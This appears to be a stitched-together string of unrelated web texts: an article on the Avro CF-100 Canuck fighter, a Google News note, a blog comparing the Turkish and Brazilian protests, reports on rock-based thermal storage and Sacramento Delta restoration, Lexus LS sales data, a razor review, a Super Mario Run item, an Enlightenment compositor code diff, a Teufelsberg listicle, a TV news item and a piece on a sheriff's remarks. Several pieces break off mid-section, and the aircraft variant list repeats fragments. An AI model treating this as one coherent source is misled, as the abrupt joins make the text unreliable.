The Canuck was affectionately known in the RCAF as the "Clunk" because of the noise the front landing gear made as it retracted into its well after takeoff. Its less-attractive nickname was the "Lead Sled", a reference to its heavy controls and general lack of maneuverability, a nickname it shared with a number of other 1950s aircraft.[6] Others included CF-Zero, the Zilch, and the Beast, all references to an aircraft many pilots considered less glamorous than RCAF day fighters like the Canadair Sabre.[7]
The aircraft operated under the US/Canadian North American Air Defense Command (NORAD) to protect North American airspace from Soviet intruders such as nuclear-armed bombers. Additionally, as part of the North Atlantic Treaty Organization (NATO), four Canuck squadrons were based in Europe with 1 Air Division from 1956–1962, and were for some time the only NATO fighters capable of operating in zero visibility and poor weather conditions.
When the Korean War started, the USAF was in urgent need of a jet-propelled, all-weather, interdiction/surveillance aircraft. The urgency was so great that the USAF was willing to consider two foreign designs: the CF-100 and the English Electric Canberra. The CF-100 was rejected because of insufficient range and payload. The English Electric design was selected and developed into the Martin B-57 Canberra.[8][9]
The CF-100 served with nine RCAF squadrons at its peak in the mid-1950s. Four of these squadrons were deployed to Europe from late 1956–1962 under the NIMBLE BAT ferry program, replacing some NATO RCAF squadrons equipped with Canadair Sabre day fighters to provide all-weather defense against Soviet intruders. Canucks flying at home retained natural metal finish, but those flying overseas were given a British-style disruptive camouflage scheme: dark sea gray and green on top, light sea gray on the bottom.
During his Avro Canada years, the Chief Development Pilot, S/L Żurakowski, continued to fly as an aerobatic display pilot, with spectacular results, especially at the 1955 Farnborough Airshow where he displayed the CF-100 in a "falling-leaf." He was acclaimed again as the "Great Żura" by many aviation and industry observers who could not believe a large, all-weather fighter could be put through its paces so spectacularly. His performance led to Belgium purchasing the CF-100.
In its lifetime, 692 CF-100s of different variants were produced, including 53 aircraft delivered to the Belgian Air Force. Although originally designed for only 2,000 hours, it was found that the Canuck's airframe could serve for over 20,000 hours before retirement. Consequently, though it was replaced in its front line role by the CF-101 Voodoo, the Canuck served with 414 Squadron of the Canadian Forces at CFB North Bay, Ontario, until 1981, in reconnaissance, training and electronic warfare roles. After the CF-100 was retired, a number of aircraft still remain across Canada (and elsewhere) as static displays.
Its planned successor, the CF-105 Arrow along with the sophisticated Orenda Iroquois engine, both Canadian-designed, were cancelled in 1959 in a controversial decision by the Canadian government.
Variants [ edit ]
CF-100 Mk 1 : The first two prototypes. CF-100 Mk 1P : Proposed photo-reconnaissance version. Not built.
: The first two prototypes. CF-100 Mk 2 : Ten pre-production aircraft. CF-100 Mk 2T : Dual control training version of the CF-100 Mk 2. Two built.
: Ten pre-production aircraft. CF-100 Mk 3 : Two-seat all-weather long-range interceptor fighter aircraft. First production version for the RCAF. Eight .5-inch Browning M3 guns (200 rounds per gun) in a forward firing ventral gun pack. 70 built. CF-100 Mk 3A : CF-100 Mk 3 sub-type, powered by two Orenda 2 turbojet engines. 21 built. CF-100 Mk 3B : CF-100 Mk 3 sub-type, powered by two Orenda 8 turbojet engines. 45 built. CF-100 Mk 3CT : One CF-100 Mk 3 converted into a dual control training aircraft. Later redesignated CF-100 Mk 3D .
: Two-seat all-weather long-range interceptor fighter aircraft. First production version for the RCAF. Eight .5-inch Browning M3 guns (200 rounds per gun) in a forward firing ventral gun pack. 70 built. CF-100 Mk 4 : Two-seat all-weather long-range interceptor fighter aircraft. Eight .5-inch Browning M3 guns (200 rounds per gun) in a forward firing ventral gun pack. Plus two wingtip pods of 29 x 70-mm (2.75 in) "Mighty Mouse" fin-folding aerial rockets. One pre-production aircraft. CF-100 Mk 4A : CF-100 Mk 4 sub-type, powered by two Orenda 9 turbojet engines. 137 built. CF-100 Mk 4B : CF-100 Mk 4 sub-type, powered by two Orenda 11 turbojet engines. 141 built. CF-100 Mk 4X : Proposed version of the CF-100 Mk 4. Not built.
: Two-seat all-weather long-range interceptor fighter aircraft. Eight .5-inch Browning M3 guns (200 rounds per gun) in a forward firing ventral gun pack. Plus two wingtip pods of 29 x 70-mm (2.75 in) "Mighty Mouse" fin-folding aerial rockets. One pre-production aircraft. CF-100 Mk 5 : Two-seat all-weather long-range interceptor fighter aircraft, powered by two Orenda 11 or Orenda 14 turbojet engines. Two wingtip pods of 29 x 70-mm (2.75 in) "Mighty Mouse" fin-folding aerial rockets. 332 built. CF-100 Mk 5D : Small number of CF-100 Mk 5s converted into ECM (Electronic Countermeasures), EW (Electronic Warfare) aircraft. CF-100 Mk 5M : Small number of CF-100 Mk 5s equipped to carry the AIM-7 Sparrow II air-to-air missiles.
: Two-seat all-weather long-range interceptor fighter aircraft, powered by two Orenda 11 or Orenda 14 turbojet engines. Two wingtip pods of 29 x 70-mm (2.75 in) "Mighty Mouse" fin-folding aerial rockets. 332 built. CF-100 Mk 6 : Proposed version armed with the AIM-7 Sparrow II air-to-air missile. Not built.
Operators [ edit ]
CF-100 badge worn by Canadian Forces crews in the 1970s and 80s
Notable accidents and incidents [ edit ]
15 May 1956. A CF-100 crashed into the Villa St. Louis at Orléans, Ontario, killing both crewmen and 13 civilians on the ground in what is known as the Convent Crash.
25 August 1958. Two CF-100s in a four-aircraft formation collided and crashed at No. 2 (F) Wing, Grostenquin, France. One aircraft crashed into the base hospital and one crashed into a field. Two people were killed in the hospital and three aircrew were killed.[10]
Aircraft on display [ edit ]
Avro Canada CF-100 "Canuck" MK3D – Serial No. 18152. Manufactured at Malton, Ontario, 1954. Served with #3 Op. Training Unit, 428 Squad, 432 Squad., and the Electronic Warfare Unit. Stationed at CFB Suffield (1968–1994). Currently on display at the Nanton Air Museum, Nanton, Alberta.
Canadian Forces CF-100 on display at Head Lake Park, Haliburton, Ontario
RCAF CF-100 at Lee Park, North Bay
CF-100 National Air Force Museum of Canada, Trenton, Ontario
CF-100 Canuck all-weather interceptor aircraft at Reynolds-Alberta Museum Wetaskiwin
CF-100 Paul Coffey Park—Legion Memorial Gardens, Malton
Specifications (CF-100 Mk 5) [ edit ]
Data from[citation needed]
General characteristics
Performance
Armament
Rockets: 2 wingtip pods of 29 x 70-mm (2.75 in) "Mighty Mouse" fin-folding aerial rockets
See also [ edit ]
Related development
Aircraft of comparable role, configuration and era
Related lists
References [ edit ]
Notes [ edit ]
It’s important to note that these social signals from your friends don’t currently influence the main news section on Google News. There, Google’s news algorithms provide the personalization features based on your web history and which articles you click on.
Google is only making baby steps toward social recommendations here, though. As Google software engineer Erich Schmidt points out, the Spotlight section will only “sometimes” features stories that were +1’d by your friends or people in your circles.
My facebook is blowing up. Having lived in Brazil as well as Turkey, my friends in both countries are filling my newsfeed with images and snapshot reports of the mass protests in Istanbul, Rio and other cities. Here is what I’ve learned (not just on Facebook) from comparing the situation in the two countries:
The protests in Turkey and Brazil have many things in common.
Both countries have been widely seen as successful emerging economies for the last decade (they form part of the BRICS and CIVETS groups, respectively). They both have overcome hyperinflation and currency crises, have enjoyed fairly rapid economic growth, have reduced poverty and expanded their middle classes. Even in the lens of the “inclusive growth” zeitgeist, Turkey and Brazil did fairly well as unemployment fell and human development indicators improved
One could make a case that both countries are more free, democratic and safe than ever before in their histories, even though significant limitations on freedom and human rights remain (especially in Turkey). Recent news such as the pacification of Rio’s favelas and the prospects of a peace agreement with Kurdish separatists in eastern Turkey only added to the optimism.
But in both countries the protests were ignited by a seemingly small spark: a small park in central Istanbul here, a 10-cent rise in bus prices there. Yet they would spread quickly, and in less than a few days the movements would be about much greater, much more fundamental issues.
In both cases, a disproportionate reaction by the police, including physical violence and the tear gassing of peaceful protesters, played a crucial role in escalating the protests. At the same time, the spread of those images via social media (along with suspiciously poor coverage in mainstream outlets) allowed protesters to gain widespread support.
Not unlike the uprisings of the Arab Spring, social media has been key in organizing, documenting and promoting the movements in Turkey and Brazil.
Most interestingly, the protesters themselves seem to be a very similar kind of people in both countries. They are mostly young, middle-class, well-educated student types who find wide support among the older bohemian-intellectual class as well as disillusioned ordinary citizens (more on the middle class origins of the Brazilian protest here).
There is even some indication that the protests in Turkey and their celebration in social media inspired many young Brazilians to take to the streets and displays of solidarity between the two movements abound.
Yet there are also significant differences.
Notably, there has been much more violence and bloodshed in Turkey, with at least four dead, and hundreds wounded and arrested. One might attribute this to different mentalities (if you’ve ever seen soccer fans in Turkey and Brazil you get the point). But while I have not seen any clear evidence that the protesters in Turkey are more violent than those in Brazil (there were some acts of violence and vandalism in both places), the police reaction has been much more brutal in Turkey, leading to the high number of casualties.
Hence, the most important difference to me lies in the relationship between the protesters and the government and the government’s reaction to the protests.
While the protests in Turkey built on a deep and long standing antagonism between the governing islamic-conservative AK Party of Prime Minister Erdogan and the secular urban middle-class which regularly votes for the opposition, the Brazilian protest movement is not easily defined in terms of politics. The core of the movement around the tarifa zero activists, who demand free public transportation, should probably be seen as to the left of the center-left government of President Dilma Rousseff.
The mostly wealthy supporters of the center-right opposition appear to be most likely to dismiss the protesters as vagabundos – useless troublemakers more interested in vandalism and looting than working for a living. Yet the lines are clearly blurred as my facebook shows hardcore leftist and libertarian friends alike supporting the protests.
While in Turkey escalation and crackdown has trumped any notion of compromise, the Brazilian government’s reaction, while initially fierce , has become increasingly conciliatory. Given the federal nature of Brazil, with the police and many other government functions being run by state and local officials, a single polarizing figure like Erdogan does not exist in Brazil. President Dilma differentiates clearly between those committing vandalism (“unacceptable”) and the majority of peaceful protesters (“they need to be heard”).
Hard to imagine Erdogan making such a statement. Not surprisingly, protesters in Turkey have demanded Erdogan’s resignation, while their Brazilian peers show plenty of dissatisfaction for politicians in general but no particular antagonism to an individual leader or party.
A common cause
Ultimately, I believe, the reason why the people are in the streets in Turkey and Brazil comes down to the same basic idea: the people have become fed up with public officials and the status quo.
They have come to expect more from their governments.
Providing macroeconomic stability, income growth, shopping malls and sporting events is not enough anymore for the people of Brazil, Turkey and other emerging countries (remember Chile 2011?). Call them spoiled, but the new generation, which has come of age after the turbulent times for the 1990s and early 2000s, increasingly demands more and other things from their government.
They want quality public services – education, health, infrastructure, public spaces. They want a government that listens and is attentive to their preferences about how to develop the country, how to design the cities and how to prepare for big sporting events. But most of all they demand individual liberty, respect and accountability.
Whether it is restrictions on basic liberties like freedom of speech or consumption of alcohol (Turkey), government waste and embezzlement of public funds (Brazil) or widespread impunity for crony politicians and brutal police forces (both), the new generation will not put up with it even if a government can rightly claim to be advancing the countries development and global standing.
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It will use industry-standard heaters and fans, powered when there is a surplus of power coming into the grid, to heat 1,000 tons of rock up a temperature of 600 degrees Celsius. When needed, the heat will be used to drive a 1.5-megawatt steam turbine, feeding electricity back to the grid.
The plant, being built on a site owned by aluminum smelting giant Trimet in the Altenwerder container terminal quarter of Hamburg, in northern Germany, is expected to store enough thermal energy to deliver electricity for up to 24 hours.
The round-trip efficiency of the system will be around 25 percent, potentially rising to 50 percent if the technology is scaled up to triple-digit-megawatt levels.
At that scale, Siemens Gamesa expects the technology to deliver stored energy at a cost of less than €0.10 ($0.12) per kilowatt-hour.
The company would not discuss costs for the plant it is developing at the moment, but the project has been funded to the tune of €27 million ($32 million) by the German Federal Ministry for Economic Affairs and Energy.
Siemens Gamesa has been working on the concept for three years, the company said in a press release. “The focus of Siemens Gamesa's R&D activities was on the insulated container to house the rock fill, which is the virtual battery and the core innovation,” it said.
The company had investigated passive and active methods of insulation, said Till Barmeier, Siemens energy storage program manager. He declined to confirm which was being used in the Altenwerder project.
The research led to an optimized shape of the rock fill container.
“Its round-bodied shape will have a decreasing diameter at both ends, where the inflow and the outflow openings are positioned," according to the release. "The ferroconcrete giant will have a content of 800 cubic meters of rock fill…with a meter-thick layer of thermal insulation.”
At Altenwerder, Siemens Gamesa is working with local utility Hamburg Energie to evaluate the technology’s commercial prospects in energy markets and Technical University Hamburg-Harburg to model the thermodynamic characteristics of the technology. If the first stage proves successful, the next step would be a commercial-scale plant that could potentially deliver electricity for several days.
Siemens Gamesa was looking to develop the Future Energy System (FES) as a more cost-effective alternative to batteries for large-scale energy storage, Barmeier said.
“The thing with batteries is they do not allow for upscaling with sufficient economies of scale,” he said. “When you go from a 10-megawatt to a 20-megawatt battery system...you double the cost. In the case we’re looking at, you do have economies of scale: If you double the power, you won’t have to double the price.”
The scalability could extend to long-duration storage, too.
“The biggest advantage that this system will have is the size and duration of the storage compared to electro-chemical batteries," said Hong Durandal, business analyst with MAKE Consulting. “Thermal storage would be able to store large chunks of renewable energy when it is being produced in excess and discharge it when it's needed without worrying too much about the degradation of the system.”
Thermal storage beats batteries for renewable energy time-shifting and capacity-firming applications that require more than 4 hours of continuous discharge, he said.
“We will see in the near future how the capex plays out,” he commented.
In the meantime, Trimet is working on its own "virtual battery" project in a smelter near the FES site.
Completely unconnected to the FES project, Trimet’s €36 million ($39 million) two-year industrial-scale pilot aims to allow power use across 120 electrolysis cells to be dialed up or down by 25 percent in either direction, for up to several hours.
The smelter is planning to use a technology called the EnPot Shell Heat Exchanger, which it tested in 2014.
The Delta and Suisun Marsh were once part of a continuous, enormously productive aquatic ecosystem that supported dense populations of fish from Sacramento perch to salmon, huge flocks of wintering waterfowl, and concentrations of mammals from beaver to tule elk. This amazing ecosystem is gone and cannot be brought back.
The once vast marshes have been turned into farmland and cities, protected by a complex system of levees. The patchy remnants of the original ecosystem are disappearing fast, as more and more native plants and animals become extinct or endangered. In their place, hundreds of alien species thrive in the altered conditions—crabs, clams, worms and fish from all over the world.
We have a choice. We can let the ecosystem continue to slide towards being a mess of alien species that live in unsavory water flowing through un-natural pathways, OR we can take charge and create a new ecosystem that contains the elements we want. Those elements include native species and clean water that flows in more natural patterns, creating a better environment for fish and people.
The State Water Resources Control Board recently supported this concept by recommending that much more fresh water flow through the estuary to the ocean to create a sustainable estuarine ecosystem. More water is only part of the recovery picture, however, because the flows must be managed in new ways and flow through restored habitats. The historical ecosystem can be used only as a model for the new system, mainly to identify conditions that favor remnant native species and have other desirable features. But the new ecosystem will be quite different in its locations, its biota, and how it works.
High variability in environmental conditions in both space and time once made the upper San Francisco Estuary highly productive for native biota, so variability is clearly a key concept for our new ecosystem (Moyle, et al. 2010). Achieving a variable, more complex estuary requires policies that create the following conditions:
(1) Internal Delta flows that create a tidally-mixed, upstream-downstream gradient in water quality, with minimal cross-Delta flows. At times much of the water in the present Delta flows towards the big export pumps in the South Delta. Fish trying to migrate upstream or downstream find this very confusing, often lethally so.
(2) Slough networks with more natural channel geometry and less diked, rip-rapped channel habitat.
(3) More tidal marsh habitat, including shallow (1-2 m) sub-tidal areas, in both fresh and brackish zones of the estuary.
(4) Large expanses of low salinity (1-4 ppt) open water habitat in the Delta.
(5) A hydrodynamic regime where salinities in the upper estuary range from near-fresh to 8-10 ppt periodically to discourage alien species and favor desirable species.
(6) Species-specific actions that reduce abundance of non-native species and increase abundance of desirable species, such as active removal of undesirable clams and vegetation.
(7) Abundant annual floodplain habitat, with additional large areas that flood in less frequent wet years.
(8) Treating the estuary as one inter-connected ecosystem, recognizing that changes in one part of the system will likely effect the other parts.
These habitat actions collectively provide a realistic, if experimental, approach to improving the ability of the estuary to benefit desirable species. Some of these goals are likely to be achieved without deliberate action as the result of sea level rise, climate change, and failure of unsustainable levees in some parts of the Delta. But in the near term, habitat, flow restoration and export reduction projects can allow creation of a more variable and more productive ecosystem than now exists, while accommodating irreversible changes to the system.
Further Reading:
Moyle, P.B., J.R. Lund, W. Bennett and W. Fleenor (2010), Habitat Variability and Complexity in the Upper San Francisco Estuary, San Francisco Estuary and Watershed Science 8(3).
Second generation (XF20; 1994–2000) Edit
Third generation (XF30; 2000–2006) Edit
Fourth generation (XF40; 2006–2017) Edit
Fifth generation (XF50; 2017–present) Edit
Manufacturing Edit
Industrial significance Edit
Sales and production Edit
In its largest market, the U.S., the Lexus LS was the top-selling flagship luxury sedan for 15 of the first 17 years following its debut.[105][176] In Japan, the next-largest market for the Lexus LS, the introduction of the 2007 LS 460 attracted 12,000 pre-orders,[84] and the Lexus LS has gone on to sell successfully in its class.[177] Following the introduction of the LS 460 and Lexus' expanded global launch in 2007,[178] sales of the Lexus flagship have increasingly come from outside the brand's traditional U.S. strongholds. By 2007, the Lexus LS ranked second globally in flagship sales, next to the Mercedes-Benz S-Class' 85,500 units, with 71,760 Lexus LS sedans sold worldwide,[179] and over half the total coming from outside the U.S. market.[180] In 2008, U.S. sales fell 42% amidst the late-2000s recession, mirroring the overall decline of the luxury car market.[181] The Lexus LS has not sold as well in Europe, where Lexus suffers from smaller brand recognition, image, and a less-developed dealership network.[182] In European markets, the Lexus LS has ranked behind Jaguar, Mercedes-Benz, Audi, and BMW in flagship luxury car sales.[183] Automotive analysts have suggested a possible rationale for the sales disparity, in that European buyers place less emphasis on vehicle reliability and have more brand loyalty to established domestic marques.[182] In contrast, the Lexus LS has ranked second in sales to the Mercedes-Benz S-Class (and ahead of rivals from BMW, Audi, and Jaguar) in markets outside Europe, such as South Africa.[184] 2012–2017 Lexus LS 600h (Japan) 2010–2012 Lexus LS 460 (USF45; Australia) 2009–2012 Lexus LS 600h L (UVF46; Japan) Calendar
year Sales Exports,
production‡ US Global 1990 42,806[185] 41,901[47] 1991 36,955[185] 41,228[47] 1992 32,561[185] 32,472[47] 1993 23,783[186] 28,187[47] 1994 22,443[186] 21,390[47] 1995 23,657[187] 22,433[47] 1996 22,237[188] 22,810[47] 1997 19,618[189] 17,782[47] 1998 20,790[81] 22,730[47] 1999 16,357[81] 17,198[47] 2000 15,871[190] 11,098[47] 2001 31,110[191] 31,473[47] 2002 26,261[192] 27,033[47] 2003 23,895[193] 21,461[47] 2004 32,272[194] 31,697[47] 2005 26,043[194] 28,902[47] 2006 19,546[195] 34,833[179] 30,908‡[196] 2007 35,226[197] 71,760[179] 72,279‡[198] 2008 20,255[197] 31,823‡[199] 2009 11,334[200] 18,369‡[201] 2010 12,275[202] 2011 9,568[203] 2012 8,345[203] 17,578‡[204] 2013 10,727[205] 2014 8,559[206] 2015 7,165[207] 2016 5,514[208] 2017 4,094[209] 2018 9,302[210]
Technical specifications Edit
Drivetrain specifications by generation 1989–1994 1994–1997 1997–2000 2000–2006 2006–2017 2007–2017 2017 onwards Engine 4.0 L V8 4.0 L V8 4.0 L V8 4.3 L V8 4.6 L V8 5.0 L V8 hybrid 3.5 L V6 twin turbo Gears 4 4 5 5–6 8 CVT 10 Power 190 kW (250 hp)[211] 190 kW (260 hp)[212] 220 kW (290 hp)[213] 220 kW (290 hp)[214] 255 kW (342 hp)[215]
288 kW (386 hp)[101] 327 kW (438 hp)[107] 309 kW (415 hp) Torque 353 N⋅m (260 ft⋅lbf) @4400 rpm[211] 366 N⋅m (270 ft⋅lbf) @4500 rpm[212] 407 N⋅m (300 ft⋅lbf) @4000 rpm[213] 434 N⋅m (320 ft⋅lbf) @3400 rpm[214] 455 N⋅m (336 ft⋅lbf) @4100 rpm[215]
498 N⋅m (367 ft⋅lbf) @4100 rpm[101] 520 N⋅m (380 ft⋅lbf) @4000 rpm 600 N⋅m (440 ft⋅lbf) @1600–4800 rpm Model configurations by region Chassis code Model no. Model year(s) Drivetrain Transmission Engine type Engine code Region(s) USF40 LS 460 2007–2017 RWD/AWD 8-speed
automatic 4.6 L petrol V8 1UR-FSE United States,[101] Canada,[216] Japan,[217] Europe,[106] Middle East (2011–) 1UR-FE Middle East (2007–2010)[218] USF41 LS 460 L 1UR-FSE United States,[101] Canada,[216] Japan,[217] Middle East (2011–) 1UR-FE Middle East (2007–2010)[218] UVF45 LS 600h 2008–2017 AWD CVT 5.0 L hybrid V8 2UR-FSE Japan,[217] Europe[106] UVF46 LS 600h L United States,[107] Canada,[216] Japan,[217] Europe,[106] Middle East (2010–)
First Look
When I ordered the razor I was aware that it was going to be on the smaller side. I had no idea that it was going to be as small as it is. Even beside my Merkur 1904, my next smallest razor, the Gillette looks tiny (see photo). It almost seems toy like, something my kid could be playing with, but it doesn’t feel like a toy when holding it. Oddly I feel like it may provide a more maneuverability than some of my longer handled razors, but we will have to wait and see after I get a chance to use it.
Assembly
I can only assume that the size and labelling of the Gillette as a travel razor was a bit more of a marketing campaign than practical. Lets be honest, how much space does your razor actually take up? Mind you the three piece design to the razor really allows you to shrink it down, but even with it taken apart, I’m still quite sure that the largest razor I have still fits comfortably in my jacket pocket. However, if it was a marketing campaign, it still works, because I am excited to use this little razor.
The Handle
As small as it is the handle has a wonderful ornate design to it which I am sure is going to provide more than sufficient grip. If you have larger hands I’m not sure you would have a great time with this, in fact it may be impossible for you to use.
Cutting Head
The cutting head of the Gillette Travel Tech is quite narrow, streamlined, especially compared to the 1904 and the rest of my razors. My first impression is that it will actually provide better performance, particularly around the nose and under the chin. On the flip side the bulkier, more substantial head is also appealing from a construction point of view.
Final Thoughts
For those hotly anticipated mobile games, sometimes you just want to be able to jump on the bandwagon as soon as it pulls out of the station. Pokemon Go is a great example, particularly because the release was staggered all around the world.
Now, finally, with the announcement of Nintendo's flagship IP coming to iOS in the form of Super Mario Run, Apple has implemented the option to be notified of a new release.
Instead of the "Get" button, Super Mario Run's iTunes page, launched ahead of the game's upcoming December release, has a big orange "Notify" button. When you click it, a pop-up will tell you that you'll be notified, possibly via email or push notification, as soon as the game is available.
The feature is currently only for Super Mario Run as far as we can tell. Whether it will apply across the entire app store is yet to be determined. It's also unlike the "Pre-order" button from the music and film sections of the iTunes store, since it doesn't give you the option to purchase the content ahead of time.
Here we see the bar with its popup. Yes, it may have a more technical name, but I am unaware of it at this time. So bar and popup.
The issue I have has nothing to do with the application, so fear not, Firefox developers: you are safe for now. My fury was instead directed at the E compositor and the effects that we apply to the popup when it appears. For a rectangular window like this which clearly has an origin (the urlbar), why would we pop it up as though it was unanchored? This kind of bush league compositing might work for regular windows or compositors that I’m not actively working on, but I refuse to let my workspace be contaminated by such pedestrian effects.
And so I set out to add features for handling this sort of thing, ideally features which would be extensible and able to be reused for other related things. The code was simple; in fact, the code for adding a configuration GUI was longer and more complex than the actual implementation for the feature. Let’s check out some code:
diff --git a/src/bin/e_comp_object.c b/src/bin/e_comp_object.c index fa9d7ee..1a23c3b 100644 --- a/src/bin/e_comp_object.c +++ b/src/bin/e_comp_object.c @@ -75,6 +75,7 @@ typedef struct _E_Comp_Object Eina_Stringshare *frame_theme; Eina_Stringshare *frame_name; + Eina_Stringshare *visibility_effect; //effect when toggling visibility Evas_Object *smart_obj; // smart object Evas_Object *clip; // clipper over effect object @@ -503,6 +504,8 @@ _e_comp_object_shadow_setup(E_Comp_Object *cw) if (!ok) ok = e_theme_edje_object_set(cw->shobj, "base/theme/comp", buf); } + if (ok && m->visibility_effect) + eina_stringshare_refplace(&cw->visibility_effect, m->visibility_effect); if (ok) break; } }
This is where the compositor pulls the new effect’s name out of the config. It gets saved to the canvas object for later use.
@@ -654,14 +657,16 @@ _e_comp_object_done_defer(void *data, Evas_Object *obj EINA_UNUSED, const char * if (cw->animating) { cw->animating--; - e_comp->animating--; + if (!cw->animating) + e_comp->animating--; /* remove ref from animation start, account for possibility of deletion from unref */ if (!e_object_unref(E_OBJECT(cw->ec))) return; } + if (cw->animating) return; /* hide only after animation finishes to guarantee a full run of the animation */ - if (cw->defer_hide && (!strcmp(emission, "e,action,hide,done"))) + if (cw->defer_hide && ((!strcmp(emission, "e,action,hide,done")) || (!strcmp(emission, "e,action,done")))) evas_object_hide(cw->smart_obj); - else if (!cw->animating) + else e_comp_shape_queue(); }
This callback controls animation refcounting; when the animating flag is 0, the object is no longer animating and can be used normally. Since there are now going to be two references, the appropriate logic adjustments must be made to avoid toggling visibility at the wrong time.
@@ -1291,6 +1296,14 @@ _e_comp_intercept_hide(void *data, Evas_Object *obj) e_comp->animating++; cw->animating++; e_object_ref(E_OBJECT(cw->ec)); + if (cw->visibility_effect) + { + cw->animating++; + e_object_ref(E_OBJECT(cw->ec)); + e_comp_object_effect_set(obj, cw->visibility_effect); + e_comp_object_effect_params_set(obj, 0, (int[]){0}, 1); + e_comp_object_effect_start(obj, _e_comp_object_done_defer, cw); + } } cw->defer_hide = !!cw->animating; if (!cw->animating)
When hiding the window, the original compositor animation triggers first; this is the one which determines how the object fades in and out. After, the new effect begins, starting from the visible/default state (0) and hitting the deferred refcounting callback upon animation completion.
@@ -2026,6 +2039,14 @@ _e_comp_smart_show(Evas_Object *obj) e_comp->animating++; cw->animating++; e_object_ref(E_OBJECT(cw->ec)); + if (cw->visibility_effect) + { + cw->animating++; + e_object_ref(E_OBJECT(cw->ec)); + e_comp_object_effect_set(obj, cw->visibility_effect); + e_comp_object_effect_params_set(obj, 0, (int[]){1}, 1); + e_comp_object_effect_start(obj, _e_comp_object_done_defer, cw); + } } /* ensure some random effect doesn't lock the client offscreen */ if (!cw->animating)
And lastly, when showing the object it’s the same as hiding, except that the object starts from the hidden state (1).
The result looks a bit nicer:
Anyone wanting to replicate the effect can add the highlighted entry in this image to their composite match settings:
After lying derelict for close to three decades, the hill in the Grünewald area is set to be redesigned as an artists' colony, with a museum area. The hill certainly has a rich and turbulent history to inspire future curators of the museum.
1. Built out of the ruins of war
The Teufelsberg is actually an artificial hill, made out of the rubble that Berlin was reduced to by Allied bombing during the Second World War.
For 22 years after the end of the war, up to 800 trucks a day drove the rubble out of the city and piled it up onto the area. Finally around 26 million cubic metres of rubble were stacked up, leaving a hill 120.1 metres in height.
2. Its name is misleading
The name Teufelsberg - literally devil’s hill - is very fitting for a mound built out of the ruins of war, but in fact it has nothing to do with this painful history.
The hill was actually named after the nearby Teufelssee, which is a favourite lake for those Berliners who like to bathe in the nude.
3. It was picked for its height
Photo: DPA
The Americans and British decided to place their spy station on top of the Teufelsberg because at precisely 120.1 metres high, it was the highest elevation in West Berlin at the time.
GALLERY: Germany's oddest tourist attractions
4. It was supposed to warn of a Soviet attack
Christopher McLarren, a US army veteran who was stationed at the site during the Cold War says that “Teufelsberg was a type of forewarning post.”
“We had to gather as much information as possible in order to find out if the Soviets or the Warsaw Pact were plotting against us,” the 69-year-old, who now leads tours at the site, says.
The US documents on what type of information was collected by the NSA at Teufelsberg will only be made public in 2020.
5. 1,500 spies worked at the station
At the height of the Cold War, 1,500 spies worked on the Teufelsberg in three shifts. British and American spies were both based there, but the relationship doesn’t appear to have been totally harmonious.
“Brits and Americans were both on the Teufelsberg, but they weren’t there together,” says McLarren.
6. It was at one time a mini ski resort
Despite the fact that US and British spies were engaged in top secret work on its peak, the slopes of the hill quickly became a recreational area for West Berliners.
One million trees were planted there, turning it into an area of calm away from the city. In 1955, a ski jump was opened up on Teufelsberg, and in 1962 a bigger one was built, attracting 5,000 spectators for the opening ceremony, according to Tagesspiegel. In 1986 for the 750th anniversary of Berlin, the city held a ski race there.
To this day, there is still a climbing wall and a toboggan run on the hill.
READ ALSO: Berlin spy station sees tourism boom
7. A former pro-cyclist rode up and down the hill for 27 hours straight
Jens Voigt cycles on the Teufelsberg. Photo: DPA
Former pro-cyclist Jens Voigt rode up and down the Teufelsberg for 27 hours without stopping in January, amassing 9,000 metres in altitude - more than the height of Mount Everest.
Voigt made his epic effort in order to raise money for a cancer charity, and claims to have amassed €25,000 in sponsorships.
8. David Lynch tried to turn it into a meditation centre
In one of the strangest chapters in the remarkable history of the hill, cult Hollywood director David Lynch tried to turn it into a “university” for the Maharishi World Peace Foundation.
The director planned for 1,000 students to study transcendental meditation and to learn yogi flying under a “tower of invincibility” on the hill.
Lynch even laid the foundation stone for the building on the hill. But the failed and surreal project is best known for his German guru Emanuel Schiffgens shouting “invincible Germany” during a 2007 press conference to introduce the project, to which someone in the crowd replied "that's what Hitler wanted."
9. Huge graffiti park
After the Cold War ended and the Warsaw Pact collapsed, Western spy agencies no longer had any need for the Teufelsberg station. So it was abandoned and fell into disrepair.
But the empty buildings have had a new coat added to their colourful history. Graffiti artists from around the globe have come to spray on its walls, turning it into the largest graffiti gallery in Europe.
10. An area of rest
Marvin Schütte. Photo. DPA
There are now plans to breathe fresh life into it, which tenant Marvin Schütte will present to planning authorities in Charlottenburg in the autumn.
“We don’t want any parties or high life. This should be an area where you slow down,” says Schütte, the 37-year-old real estate owner who has leased the Teufelsberg hill top.
Schütte describes his plan as the creation of a “natural cultural area.”
Production of ‘Defiance’ started earlier this month in Toronto and although it’s only a few short weeks in, Syfy and Trion have managed to release a behind the scenes video of what the audience can expect.
Grant Bowler (‘True Blood,’ ‘The Cape’), Julie Benz (‘A Gifted Man,‘ ‘No Ordinary Family,’ ‘Dexter’) , Jamie Murray (‘Warehouse 13,’ ‘Valentine’, ‘Ringer’), and Tony Curran (‘Doctor Who,’ ‘Gemini Division,’ ‘The Pillars of the Earth’) are featured in this behind the scenes featurette as well as the creative team for the game. No spoilers are given in this making of video but it does reveal the premise of the series and some great concept art.
Here is the official synopsis:
Set in the near future, Defiance introduces a completely transformed planet Earth, inhabited by the human and alien survivors of a universal war. Forced to co-habitate, the disparate group struggles to build a new society among the devastation. The dramatic tapestry of the series and the intense action of the game will exist in a single universe where their respective narratives will inform one another and evolve together into one overall story.
‘Defiance’ is slated to premiere on the Syfy channel sometime in April 2013.
Public interest in crime, safety and security has been more intense over the last three years in part because the nation has its first black president, Hamilton County Sheriff Jim Hammond said.
"We may dance around it but a lot of people are fearful of 'Ah, this is gonna ruin our country,'" Hammond said this week during a meeting with Chattanooga Times Free Press editors and reporters. "Fear and uncertainty. Part of it is [the] first black president. I mean, we all see that."
That sentiment doesn't surprise experts at the Southern Poverty Law Center, an organization that tracks and studies anti-government groups.
"We've seen an incredible rise in the number of anti-government groups in the last four years and sentiment that the country has gone to hell in a handbasket," said Heidi Beirich, director of the center's Intelligence Project.
"It's not incredibly surprising to me that people have gone to a sheriff [and] expressed all these fears," she said.
Each year that President Barack Obama has been in office, the number of anti-government groups has risen. In 2008, the law center counted 149 established groups.
The next year, the figure jumped to 512, then to 824 in 2010 and to 1,274 in 2011. This year, Beirich said, the number is at least 1,300.
But there's more at work.
"The country is changing demographically. Whites will become the minorities in the 2040s, according to the U.S. Census. That's causing anxiety amongst some folks. It's not just a race issue. It's a culture issue, too," Beirich said.
